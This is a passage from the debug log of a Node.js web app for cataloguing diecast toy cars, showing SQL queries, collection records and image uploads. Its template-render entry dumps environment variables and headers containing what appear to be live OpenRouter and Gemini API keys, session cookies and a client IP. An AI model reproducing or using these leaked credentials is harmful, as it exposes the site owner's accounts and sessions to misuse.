      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:18.902Z server-connect:output restrict: undefined
2026-02-04T10:48:18.902Z server-connect:app Executing action step select
2026-02-04T10:48:18.902Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T10:48:18.903Z server-connect:output list: [
  { name: 'Ford', id: 108 },
  { name: 'Renault', id: 109 },
  { name: 'Citroën', id: 110 },
  { name: 'Volkswagen', id: 111 },
  { name: 'Honda', id: 112 },
  { name: 'Mercedes', id: 113 },
  { name: 'McLaren', id: 114 },
  { name: 'Lamborghini', id: 115 },
  { name: 'Nissan', id: 116 },
  { name: 'Land Rover', id: 117 },
  { name: 'Chevrolet', id: 118 },
  { name: 'Toyota', id: 119 },
  { name: 'Mitsubishi', id: 120 },
  { name: 'Peugeot', id: 121 },
  { name: 'Jeep', id: 122 },
  { name: 'Volvo', id: 123 },
  { name: 'Ferrari', id: 124 },
  { name: 'Bentley', id: 125 },
  { name: 'BMW', id: 126 },
  { name: 'Dodge', id: 127 },
  { name: 'Alfa Romeo', id: 128 },
  { name: 'Bugatti', id: 129 },
  { name: 'Porsche', id: 130 },
  { name: 'Scania', id: 131 },
  { name: 'Audi', id: 132 },
  { name: 'Jaguar', id: 133 },
  { name: 'Pontiac', id: 134 },
  { name: 'Czinger', id: 135 },
  { name: 'Austin', id: 136 },
  { name: 'Mazda', id: 137 },
  { name: 'Gordon Murray', id: 138 },
  { name: 'Formula', id: 139 },
  { name: 'GMC', id: 140 },
  { name: 'Ferrari', id: 141 },
  { name: 'Fantasy', id: 142 },
  { name: 'Corvette ', id: 152 },
  { name: 'Subaru', id: 153 },
  { name: 'Polaris ', id: 154 },
  { name: 'MBX', id: 155 },
  { name: 'Masserti', id: 157 },
  { name: 'Mcmurtry', id: 167 },
  { name: 'Pagani', id: 168 },
  { name: 'Cadillac', id: 169 },
  { name: 'Suzuki', id: 175 },
  { name: 'Spider Man', id: 183 },
  { name: 'Lucid', id: 184 },
  { name: 'Lotus', id: 185 },
  { name: 'Datsun', id: 186 },
  { name: 'RAM', id: 189 },
  { name: 'Plymouth', id: 190 },
  { name: 'Pierce', id: 192 }
]
2026-02-04T10:48:18.904Z server-connect:app Executing action step identify
2026-02-04T10:48:18.904Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:18.904Z server-connect:output identity: 1
2026-02-04T10:48:18.904Z server-connect:app Executing action step restrict
2026-02-04T10:48:18.904Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:18.904Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:18.905Z server-connect:output restrict: undefined
2026-02-04T10:48:18.905Z server-connect:app Executing action step select
2026-02-04T10:48:18.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`vehicle_brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:18.905Z server-connect:output brand: [
  { id: 128, name: 'Alfa Romeo' },
  { id: 132, name: 'Audi' },
  { id: 136, name: 'Austin' },
  { id: 125, name: 'Bentley' },
  { id: 126, name: 'BMW' },
  { id: 129, name: 'Bugatti' },
  { id: 169, name: 'Cadillac' },
  { id: 118, name: 'Chevrolet' },
  { id: 152, name: 'Corvette ' },
  { id: 135, name: 'Czinger' },
  { id: 186, name: 'Datsun' },
  { id: 127, name: 'Dodge' },
  { id: 142, name: 'Fantasy' },
  { id: 124, name: 'Ferrari' },
  { id: 108, name: 'Ford' },
  { id: 139, name: 'Formula' },
  { id: 140, name: 'GMC' },
  { id: 138, name: 'Gordon Murray' },
  { id: 112, name: 'Honda' },
  { id: 133, name: 'Jaguar' },
  { id: 122, name: 'Jeep' },
  { id: 115, name: 'Lamborghini' },
  { id: 117, name: 'Land Rover' },
  { id: 185, name: 'Lotus' },
  { id: 184, name: 'Lucid' },
  { id: 157, name: 'Masserti' },
  { id: 137, name: 'Mazda' },
  { id: 155, name: 'MBX' },
  { id: 114, name: 'McLaren' },
  { id: 167, name: 'Mcmurtry' },
  { id: 113, name: 'Mercedes' },
  { id: 116, name: 'Nissan' },
  { id: 168, name: 'Pagani' },
  { id: 121, name: 'Peugeot' },
  { id: 192, name: 'Pierce' },
  { id: 190, name: 'Plymouth' },
  { id: 154, name: 'Polaris ' },
  { id: 134, name: 'Pontiac' },
  { id: 130, name: 'Porsche' },
  { id: 189, name: 'RAM' },
  { id: 109, name: 'Renault' },
  { id: 131, name: 'Scania' },
  { id: 183, name: 'Spider Man' },
  { id: 153, name: 'Subaru' },
  { id: 175, name: 'Suzuki' },
  { id: 119, name: 'Toyota' },
  { id: 111, name: 'Volkswagen' },
  { id: 123, name: 'Volvo' }
]
2026-02-04T10:48:18.905Z server-connect:app Executing action step select
2026-02-04T10:48:18.905Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`series` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:18.906Z server-connect:output series: [
  { id: 92, name: 'Fantasy' },
  { id: 99, name: 'HW 70s vs 90s' },
  { id: 105, name: 'HW Art Cars' },
  { id: 161, name: 'HW Batman' },
  { id: 98, name: 'HW Celebration Racers' },
  { id: 149, name: 'HW Compact Kings' },
  { id: 94, name: 'HW Dirt' },
  { id: 179, name: 'HW Euro' },
  { id: 107, name: 'HW EV' },
  { id: 170, name: 'HW Exotics' },
  { id: 166, name: 'HW Experimotors' },
  { id: 145, name: 'HW Factory Fresh' },
  { id: 159, name: 'HW Fan Driver' },
  { id: 97, name: 'HW Hot Trucks' },
  { id: 165, name: 'HW Metro' },
  { id: 103, name: 'HW Modified' },
  { id: 96, name: 'HW Muscle Mania' },
  { id: 147, name: 'HW Mustang 60th' },
  { id: 164, name: 'HW Nightspeed' },
  { id: 180, name: 'HW Pantone' },
  { id: 106, name: 'HW Peak Pursuit' },
  { id: 181, name: 'HW Pop Culture' },
  { id: 95, name: 'HW Race day' },
  { id: 150, name: 'HW Reverse Rake' },
  { id: 178, name: 'HW Ride-Ons' },
  { id: 151, name: 'HW Rod Squad' },
  { id: 144, name: 'HW Safari Mode' },
  { id: 176, name: 'HW Silver Series' },
  { id: 163, name: 'HW Starting Grid' },
  { id: 101, name: 'HW Then and now' },
  { id: 146, name: 'HW Track Aces' },
  { id: 100, name: 'HW Track Champs' },
  { id: 160, name: "HW Truckin' Along" },
  { id: 102, name: 'HW Wagons' },
  { id: 104, name: 'HW Wide Widebody' },
  { id: 148, name: 'HW Wild Widebody' },
  { id: 75, name: 'Mainline' },
  { id: 193, name: 'Majorette Black Edition Gift Set' },
  { id: 195, name: 'Majorette Castheads Gift Set' },
  { id: 171, name: 'Majorette Dream Italy Gift Set' },
  { id: 172, name: 'Majorette Light Racer Gift Set' },
  { id: 174, name: 'Majorette Limited Edition 9 Gift Set' },
  { id: 194, name: 'Majorette Mercedes AMG Gift Set' },
  { id: 173, name: 'Majorette Porsche Edition Gift Set' },
  { id: 83, name: 'Moving Parts' },
  { id: 162, name: 'Neon Speeders - Mix 2' }
]
2026-02-04T10:48:18.906Z server-connect:app Executing action step select
2026-02-04T10:48:18.906Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object] ],
    query: 'select distinct `collections`.`id`, `collections`.`name` from `diecast_cars` inner join `collections` on `collections`.`id` = `diecast_cars`.`brand_id` order by `collections`.`name` ASC',
    orders: [ [Object] ],
    distinct: true
  }
}
2026-02-04T10:48:18.907Z server-connect:output manufacturer: [
  { id: 74, name: 'Bburago' },
  { id: 158, name: 'CCA' },
  { id: 71, name: 'Hotwheels' },
  { id: 191, name: 'Jams Toys' },
  { id: 72, name: 'Majorette' },
  { id: 73, name: 'Matchbox' }
]
2026-02-04T10:48:24.150Z server-connect:router Serving serverConnect /api/diecast/delete-image
2026-02-04T10:48:24.150Z server-connect:app Executing action step identify
2026-02-04T10:48:24.150Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:24.151Z server-connect:output identity: 1
2026-02-04T10:48:24.151Z server-connect:app Executing action step restrict
2026-02-04T10:48:24.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:24.151Z server-connect:output restrict: undefined
2026-02-04T10:48:24.151Z server-connect:app Executing action step single
2026-02-04T10:48:24.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object] ],
    params: [ [Object] ],
    table: { name: 'diecast_images' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `image_url` from `diecast_images` where `diecast_images`.`id` = ?'
  }
}
2026-02-04T10:48:24.151Z server-connect:output diecast_image: {
  image_url: '/public/assets/images/diecast/20251113_160121_e679fe68-2069-4fcc-b23d-a9058eca4444.jpg'
}
2026-02-04T10:48:24.151Z server-connect:app Executing action step delete
2026-02-04T10:48:24.151Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'delete',
    table: 'diecast_images',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'delete from `diecast_images` where `id` = ? and `diecast_id` = ?',
    params: [ [Object], [Object] ]
  }
}
2026-02-04T10:48:24.152Z server-connect:output delete: { affected: 1 }
2026-02-04T10:48:24.152Z server-connect:app Executing action step remove
2026-02-04T10:48:24.152Z server-connect:app options: { path: '{{diecast_image.image_url}}' }
2026-02-04T10:48:24.152Z server-connect:output fileRemove: true
2026-02-04T10:48:24.450Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T10:48:24.450Z server-connect:app Executing action step identify
2026-02-04T10:48:24.450Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:24.450Z server-connect:output identity: 1
2026-02-04T10:48:24.450Z server-connect:app Executing action step restrict
2026-02-04T10:48:24.450Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:24.451Z server-connect:output restrict: undefined
2026-02-04T10:48:24.451Z server-connect:app Executing action step paged
2026-02-04T10:48:24.451Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and (`diecast_cars`.`vehicle_brand_id` = ?) and (`diecast_cars`.`condition` = ?) order by `diecast_cars`.`id` DESC',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    orders: [ [Object] ]
  }
}
2026-02-04T10:48:24.452Z server-connect:output list: {
  offset: 0,
  limit: 25,
  total: 5,
  page: {
    offset: { first: 0, prev: 0, next: 0, last: 0 },
    current: 1,
    total: 1
  },
  data: [
    {
      id: 115,
      model_name: 'Lamborghini Urus',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-06T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 114,
      model_name: 'Lamborghini Hurucan Avio',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 113,
      model_name: 'Alfa Romeo 4C Spider',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-09-29T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: null,
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: []
    },
    {
      id: 112,
      model_name: 'Lamborghini Coutach LP400',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-11-05T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Lamborghini',
      vehicle_brand_id: 115,
      condition: 'Uncarded',
      diecast_images: [Array]
    },
    {
      id: 111,
      model_name: 'Alfa Romeo Giulia ',
      release_year: 2025,
      scale: '1:64',
      has_real_car: 0,
      purchase_date: '2025-10-14T18:30:00.000Z',
      price: '330.00',
      brand: 'Majorette',
      series: 'Majorette Dream Italy Gift Set',
      brand_id: 72,
      series_id: 171,
      case: '',
      vehicle_brand_name: 'Alfa Romeo',
      vehicle_brand_id: 128,
      condition: 'Uncarded',
      diecast_images: [Array]
    }
  ]
}
2026-02-04T10:48:24.766Z server-connect:router Serving templateView /
2026-02-04T10:48:24.766Z server-connect:app Executing action step identify
2026-02-04T10:48:24.766Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:24.766Z server-connect:output identity: 1
2026-02-04T10:48:24.766Z server-connect:app Executing action step restrict
2026-02-04T10:48:24.766Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:24.766Z server-connect:output restrict: undefined
2026-02-04T10:48:24.766Z server-connect:app Executing action step restrict
2026-02-04T10:48:24.766Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T10:48:24.767Z server-connect:output restrict: undefined
2026-02-04T10:48:24.767Z server-connect:router Render template layouts/main
2026-02-04T10:48:24.767Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Windows"',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?0',
    accept: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'no-cors',
    'sec-fetch-dest': 'image',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    priority: 'i',
    cookie: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-04T12:03:01.310Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    HTTP_ACCEPT: 'image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'no-cors',
    'HTTP_SEC_FETCH-DEST': 'image',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast?brand=&search=&series=171&manufacturer=&condition=',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"fe33-tAb7P11KNREw/2nA7q8CXtYVJ/w"',
    HTTP_PRIORITY: 'i',
    HTTP_COOKIE: 'security.auth=s%3ADT4R1TlYVFHZ%2Bq06pmmLXQ%3D%3D.xibd1SDgYJ79rjeLIQPaqR7nNtCU20TyadO6RMOhO1%2BALVHPRqt5RN%2Fwl7ND5jon3PmKFZuXJ6mJWUCXn3MEbr0uTfS9%2BgKc7Dcq5ovSpItZw2EJtGJk47ZjO1Y5f0cGAUoKMSaNsuDpqvIB76nqr6L1WpoYGfbUxAB1Ff2GjEY%3D.jgWtyrdx%2Bau3l5i6EVnVq7VmkwtF%2BdM8uqwSHYZBCsA; your_r_git.sid=s%3A6HBQpkVWO3yWNQ5-SJBEVemMYkbIuOEZ.USD2GvJAyEkoT3yqH8e%2BXmSN%2B1BAjGLtX8MyA8QDyB4',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1,
  content: '/index'
}
2026-02-04T10:48:25.748Z server-connect:router Serving serverConnect /api/diecast/manage
2026-02-04T10:48:25.749Z server-connect:app Executing action step identify
2026-02-04T10:48:25.749Z server-connect:app options: { provider: 'security' }
2026-02-04T10:48:25.749Z server-connect:output identity: 1
2026-02-04T10:48:25.749Z server-connect:app Executing action step restrict
2026-02-04T10:48:25.749Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T10:48:25.749Z server-connect:output restrict: undefined
2026-02-04T10:48:25.749Z server-connect:app Executing action step condition
2026-02-04T10:48:25.749Z server-connect:app options: {
  if: '{{$_POST.diecast_id}}',
  then: { steps: [ [Object], [Object], [Object], [Object] ] },
  else: { steps: [ [Object], [Object] ] }
}
2026-02-04T10:48:25.749Z server-connect:app Executing action step update
2026-02-04T10:48:25.749Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'update',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: 'diecast_cars',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    returning: 'id',
    query: 'update `diecast_cars` set `brand_id` = ?, `series` = ?, `model_name` = ?, `release_year` = ?, `scale` = ?, `purchase_date` = ?, `price` = ?, `case` = ?, `vehicle_brand_id` = ?, `condition` = ? where `id` = ?',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2026-02-04T10:48:25.751Z server-connect:output update: { affected: 1 }
2026-02-04T10:48:25.751Z server-connect:app Executing action step upload
2026-02-04T10:48:25.751Z server-connect:app options: {
  path: '/public/assets/images/diecast',
  replaceSpace: true,
  template: '{name}_{guid}{ext}',
  fields: '{{$_POST.images}}'
}
2026-02-04T10:48:25.751Z server-connect:upload Process fields: [ 'images[]' ]
2026-02-04T10:48:25.751Z server-connect:upload Process fields: 'images[]'
2026-02-04T10:48:25.751Z server-connect:upload Processing file: {
  name: 's-l1600 (15).webp',
  data: <Buffer >,
  size: 71316,
  encoding: '7bit',
  tempFilePath: '/home/tocyxovu/ems/tmp/tmp-52-20378841770202105747',
  truncated: false,
  mimetype: 'image/webp',
  md5: '894bf17bae6b529679d1a723d3d62721',
  mv: [Function: mv]
}
2026-02-04T10:48:25.751Z server-connect:path toAppPath: {
  root: '/home/tocyxovu/ems',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp',
  rel: 'public/assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp'
}
2026-02-04T10:48:25.751Z server-connect:path toSiteUrl: {
  root: '/home/tocyxovu/ems/public',
  path: '/home/tocyxovu/ems/public/assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp',
  rel: 'assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp'
}
2026-02-04T10:48:25.751Z server-connect:output upload_image: [
  {
    name: 's-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp',
    path: '/public/assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp',
    url: '/assets/images/diecast/s-l1600_15_c72df931-00d1-4b39-b18f-06ecb94c4f37.webp',
    type: 'image/webp',
    size: 71316
  }
]
2026-02-04T10:48:25.751Z server-connect:app Executing action step repeat
2026-02-04T10:48:25.751Z server-connect:app options: {
  repeat: '{{upload_image}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'images',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array],
      collapsed: true
    }
  }
}
2026-02-04T10:48:25.751Z server-connect:app Executing action step insert
2026-02-04T10:48:25.751Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [ [Object], [Object] ],
    table: 'diecast_images',
    returning: 'id',
